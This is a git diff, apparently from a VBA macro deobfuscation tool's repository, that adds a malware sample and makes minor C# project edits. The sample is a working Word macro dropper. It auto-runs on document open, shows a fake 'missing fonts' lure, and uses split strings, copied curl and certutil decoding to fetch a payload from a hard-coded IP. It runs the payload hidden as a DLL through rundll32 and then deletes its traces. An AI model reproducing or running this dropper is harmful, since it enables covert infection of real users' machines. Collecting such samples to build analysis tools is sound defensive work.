With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Fourth paragraph displayed " + Chr(34) + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(5).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Fifth paragraph displayed" + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(6).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Sixth paragraph displayed" + .InsertParagraphAfter + End With + + Set rngFirstParagraph = ActiveDocument.Paragraphs(7).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:="Seventh paragraph displayed" + .InsertParagraphAfter + End With + + For i = 1 To ActiveDocument.Paragraphs.Count + ' ActiveDocument.Paragraphs(i).Style = wdStyleNormal + Set myRange = ActiveDocument.Paragraphs(i).Range + With myRange.Font + ' .Bold = True + .Name = "Times New Roman" + .Size = 14 + End With + Next i +End Sub + +Sub ShowErrorText() + Dim rngFirstParagraph As Range + + Set rngFirstParagraph = ActiveDocument.Paragraphs(4).Range + With rngFirstParagraph + .Delete + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + .InsertParagraphAfter + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + + .InsertAfter Text:=ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + _ + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + ChrW(-3) + " " + ChrW(-3) + .InsertParagraphAfter + End With +End Sub + +'Show msgbox +Sub MsgFunc() + Dim Msg, Style, Title, Help, Ctxt, Response, MyString + Msg = "The document cannot be fully displayed due to missing fonts. Do you want to install missing fonts?" ' Define message. + Style = vbYesNo Or vbCritical Or vbDefaultButton2 ' Define buttons. + Title = "Missing font" ' Define title. + Help = "DEMO.HLP" ' Define Help file. + Ctxt = 1000 ' Define topic context. + ' Display message. + Response = MsgBox(Msg, Style, Title, Help, Ctxt) + If Response = vbYes Then ' User chose Yes. + MyString = "Yes" ' Perform some action. + DeleteText + Else ' User chose No. + MyString = "No" ' Perform some action. + 'MsgFunc + End If +End Sub + +Sub MainFunc() + Dim curl_enc_txt_path As String + Dim curl_dec_exe_path As String + Dim mal_enc_txt_url As String + Dim mal_enc_txt_path As String + Dim mal_dec_exe_path As String + Dim pp As String + Dim cc As String + Dim Dir As String + Dim host As String + + Dir = ActiveDocument.Path + Dir = Environ("temp") + host = "http://172.104.160.126:8099" + curl_enc_txt_path = Dir + "\curl.txt" + curl_dec_exe_path = Dir + "\curl.exe" + + mal_enc_txt_url = host + "/payload2.txt" + mal_enc_txt_path = Dir + "\mscorsvc.txt" + mal_dec_exe_path = Dir + "\mscorsvc.dll" + + pp = pp + "C:\Windows\Sys" + pp = pp + "tem32\cmd.exe /c " + cc = cc + curl_enc_txt_path + curl_dec_exe_path + pp = pp + "xcopy C:\Windows\Sys" + cc = cc + curl_enc_txt_path + mal_enc_txt_url + pp = pp + "tem32\cu" + "rl.exe " + Dir + " & " + cc = cc + mal_enc_txt_path + mal_enc_txt_url + pp = pp + "certutil -f " + cc = cc + mal_enc_txt_path + mal_dec_exe_path + pp = pp + "-encode " + Dir + "\cu" + "rl.exe " + curl_enc_txt_path + " & " + cc = cc + pp + mal_dec_exe_path + pp = pp + "certutil -f " + cc = cc + pp + Dir + pp = pp + "-decode " + curl_enc_txt_path + " " + curl_dec_exe_path + " & " + cc = cc + curl_enc_txt_path + Dir + + pp = pp + curl_dec_exe_path + " " + mal_enc_txt_url + " -o " + mal_enc_txt_path + " & " + cc = cc + curl_enc_txt_path + Dir + pp = pp + "certutil -f " + cc = cc + curl_enc_txt_path + curl_dec_exe_path + pp = pp + "-decode " + mal_enc_txt_path + " " + mal_dec_exe_path + " & " + cc = cc + mal_enc_txt_url + curl_dec_exe_path + + pp = pp + "del " + Dir + "\cu" + "rl.exe & " + cc = cc + host + pp + curl_enc_txt_path + pp = pp + "del " + curl_enc_txt_path + " & " + cc = cc + curl_enc_txt_path + Dir + pp = pp + "del " + curl_dec_exe_path + " & " + cc = cc + curl_dec_exe_path + pp + + pp = pp + "del " + mal_enc_txt_path + " & " + cc = cc + mal_enc_txt_path + pp + + Dim vbDblQuote As String + vbDblQuote = Chr(34) + pp = pp + "START " + vbDblQuote + " " + vbDblQuote + " rundll32 " + mal_dec_exe_path + ",DllMain" + " & " + cc = cc + mal_dec_exe_path + pp + + pp = pp + "exit" + cc = cc + Dir + pp + 'pp = pp + "cmd.exe -d & exit" + 'cc = cc + mal_enc_txt_url + curl_dec_exe_path + ' Shell (pp), vbHidden + + Dim objShell As Object + Set objShell = CreateObject("WScript.Shell") + objShell.Run pp, 0, False +End Sub + + +Sub Document_Open() + MainFunc +End Sub + + diff --git a/Sources/vbSparkle.Console/Properties/launchSettings.json b/Sources/vbSparkle.Console/Properties/launchSettings.json index 0d6ff9f..f9766d8 100644 --- a/Sources/vbSparkle.Console/Properties/launchSettings.json +++ b/Sources/vbSparkle.Console/Properties/launchSettings.json @@ -6,7 +6,7 @@ }, "Sample_7": { "commandName": "Project", - "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_7.txt" + "commandLineArgs": "-p $(SolutionDir)\\Resources\\samples\\sample_11.txt" }, "Sample_10": { "commandName": "Project", diff --git a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj index d200b6c..91e4ae8 100644 --- a/Sources/vbSparkle.Console/vbSparkle.CLI.csproj +++ b/Sources/vbSparkle.Console/vbSparkle.CLI.csproj @@ -2,7 +2,7 @@ Exe - net6.0 + net8.0 vbSparkle.CLI.Program False Sylvain Bruyere, Airbus CERT diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs index 80406a2..7d69cdd 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbCaseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs index c5caf26..bdf1152 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbCondExpStatement.cs @@ -1,5 +1,5 @@ using System.Linq; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs index 5606927..8b8f006 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbDoLoopStatement.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs index eed260a..8feed93 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForEachStatement.cs @@ -1,6 +1,6 @@ using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs index 26b00aa..8e82353 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbForNextStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Linq; using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs index b06fe97..15081d7 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfBlockStmtContext.cs @@ -1,6 +1,6 @@ using System.Text; using vbSparkle.NativeMethods; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs index feecd92..5ab4973 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfConditionStmtContext.cs @@ -1,6 +1,6 @@ using vbSparkle.EvaluationObjects; using vbSparkle.NativeMethods; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs index 05eb378..7d6cf12 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs index 57648d4..9086ee3 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfElseIfBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs index f75345e..c9a3cc5 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbIfThenElseStatement.cs @@ -1,7 +1,7 @@ using System.Collections.Generic; using System.Text; using vbSparkle.Options; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs index 3f4d718..303a541 100644 --- a/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs +++ b/Sources/vbSparkle/LanguageStatements/Blocks/VbInlineIfBlockStmtContext.cs @@ -1,5 +1,5 @@ using System.Text; -using static vbSparkle.VBScriptParser; +using static VBScriptParser; namespace vbSparkle { diff --git 